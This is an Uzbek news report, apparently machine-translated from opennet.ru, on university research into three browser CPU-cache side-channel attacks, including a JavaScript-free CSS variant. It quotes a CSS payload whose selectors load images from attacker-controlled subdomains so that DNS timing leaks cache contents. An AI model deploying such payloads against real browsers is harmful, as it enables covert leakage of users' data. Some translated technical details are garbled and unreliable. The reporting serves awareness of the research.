JavaScriptsiz veb-brauzerda amalga oshirilgan CPU keshini chiqarish hujumi

Bir necha Amerika, Isroil va Avstraliya universitetlarining tadqiqotchilari guruhi protsessor keshi mazmuni haqida ma'lumot olish uchun veb-brauzerlarda ishlaydigan uchta hujumni ishlab chiqdi. Bir usul JavaScriptsiz brauzerlarda ishlaydi, qolgan ikkitasi esa yon kanal hujumlaridan, shu jumladan Tor brauzerida va DeterFoxda qo'llaniladiganlardan himoyalanishning mavjud usullarini chetlab o'tadi. Hujumlarni namoyish qilish uchun kod, shuningdek, hujumlar uchun zarur bo'lgan server komponentlari GitHub'da nashr etilgan.

Kesh tarkibini tahlil qilish uchun barcha hujumlar Prime+Probe usulidan foydalanadi, bu esa keshni standart qiymatlar to'plami bilan to'ldirishni va ularni to'ldirishda ularga kirish vaqtini o'lchash orqali o'zgarishlarni aniqlashni o'z ichiga oladi. Vaqtni aniq o'lchashga xalaqit beradigan brauzerlarda mavjud bo'lgan xavfsizlik mexanizmlarini chetlab o'tish uchun ikkita variantda tajovuzkor tomonidan boshqariladigan DNS yoki WebSocket serveriga murojaat qilinadi, u qabul qilingan so'rovlar vaqti jurnalini yuritadi. Bitta versiyada belgilangan DNS javob vaqti vaqt ma'lumotnomasi sifatida ishlatiladi.

Mashinani o'rganishga asoslangan tasniflash tizimidan foydalangan holda tashqi DNS yoki WebSocket serverlari yordamida amalga oshirilgan o'lchovlar eng maqbul stsenariyda (o'rtacha 98-80%) 90% gacha aniqlik bilan qiymatlarni bashorat qilish uchun etarli edi. Hujum usullari turli apparat platformalarida (Intel, AMD Ryzen, Apple M1, Samsung Exynos) sinovdan o'tkazildi va universal ekanligini isbotladi.

JavaScriptsiz veb-brauzerda amalga oshirilgan CPU keshini chiqarish hujumi

DNS Racing hujumining birinchi varianti JavaScript massivlaridan foydalangan holda Prime+Probe usulining klassik tatbiq etilishidan foydalanadi. Farqlar DNS-ga asoslangan tashqi taymer va mavjud bo'lmagan domendan tasvirni yuklashga urinilganda ishga tushiriladigan xato ishlov beruvchisidan foydalanishga qadar bo'ladi. Tashqi taymer JavaScript taymerlariga kirishni cheklaydigan yoki butunlay o‘chirib qo‘yadigan brauzerlarga Prime+Probe hujumini amalga oshirish imkonini beradi.

Xuddi shu Ethernet tarmog'ida joylashgan DNS-server uchun taymerning aniqligi taxminan 2 ms deb baholanadi, bu yon kanal hujumini amalga oshirish uchun etarli (taqqoslash uchun Tor brauzeridagi standart JavaScript taymerining aniqligi 100 ms gacha kamayadi). Hujum uchun DNS-server ustidan nazorat talab qilinmaydi, chunki operatsiyani bajarish vaqti DNS-dan javob vaqti tekshirishning avvalroq tugaganligi belgisi bo'lib xizmat qilishi uchun tanlangan (xato ishlov beruvchisi ishga tushirilganligiga qarab). ertami-kechmi, kesh bilan tekshirish operatsiyasining tezligi haqida xulosa chiqariladi) .

Ikkinchi hujum usuli "String and Sock" JavaScript-da massivlardan past darajada foydalanishni cheklaydigan xavfsizlik texnikasini chetlab o'tishga qaratilgan. Massivlar o'rniga String va Sock juda katta satrlar bo'yicha operatsiyalardan foydalanadi, ularning o'lchami o'zgaruvchi butun MChJ keshini (Oxirgi darajadagi kesh) qamrab oladigan qilib tanlanadi. Keyinchalik, indexOf() funksiyasidan foydalanib, satrda dastlab manba satrda mavjud bo'lmagan kichik pastki qator qidiriladi, ya'ni. qidiruv operatsiyasi butun satr bo'ylab takrorlanishiga olib keladi. Chiziq o'lchami MChJ keshining hajmiga to'g'ri kelganligi sababli, skanerlash massivlarni manipulyatsiya qilmasdan keshni tekshirish operatsiyasini bajarishga imkon beradi. Kechikishlarni o'lchash uchun DNS o'rniga tajovuzkor tomonidan boshqariladigan WebSocket serveriga qo'ng'iroq qilinadi - qidiruv operatsiyasi tugashidan oldin va keyin qatorga so'rovlar yuboriladi, buning asosida server keshni tahlil qilish uchun kechikishni hisoblab chiqadi. tarkibi.

"CSS PP0" hujumining uchinchi varianti HTML va CSS orqali amalga oshiriladi va JavaScript o'chirilgan brauzerlarda ishlashi mumkin. Usul "String and Sock" ga o'xshaydi, lekin JavaScript bilan bog'lanmagan. Hujum paytida niqob bo'yicha qidiruv amalga oshiriladigan CSS selektorlari to'plami yaratiladi. Keshni to'ldiradigan boshlang'ich katta satr juda katta sinf nomi bilan div tegini yaratish orqali o'rnatiladi. Ichkarida o'z identifikatorlariga ega bo'lgan boshqa divlar to'plami mavjud. Ushbu ichki o'rnatilgan divlarning har biri pastki qatorni qidiradigan selektor bilan o'z uslubiga ega. Sahifani ko'rsatishda brauzer birinchi navbatda ichki divlarni qayta ishlashga harakat qiladi, bu esa katta qatorda qidiruv operatsiyasiga olib keladi. Qidiruv ataylab yo'qolgan niqob yordamida amalga oshiriladi va butun chiziq bo'ylab takrorlashga olib keladi, shundan so'ng "yo'q" sharti ishga tushiriladi va tasodifiy domenlarga havola qilingan fon tasvirini yuklashga harakat qilinadi: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

Subdomenlarga tajovuzkorning DNS serveri xizmat ko'rsatadi, bu so'rovlarni qabul qilishdagi kechikishlarni o'lchashi mumkin. DNS-server barcha so'rovlar uchun NXDOMAIN-ni chiqaradi va so'rovlarning aniq vaqtini qayd qiladi. Divlar to'plamini qayta ishlash natijasida tajovuzkorning DNS serveri bir qator so'rovlarni oladi, ular orasidagi kechikishlar kesh tarkibini tekshirish natijasi bilan bog'liq.

JavaScriptsiz veb-brauzerda amalga oshirilgan CPU keshini chiqarish hujumi


Manba: opennet.ru

a Izoh qo'shish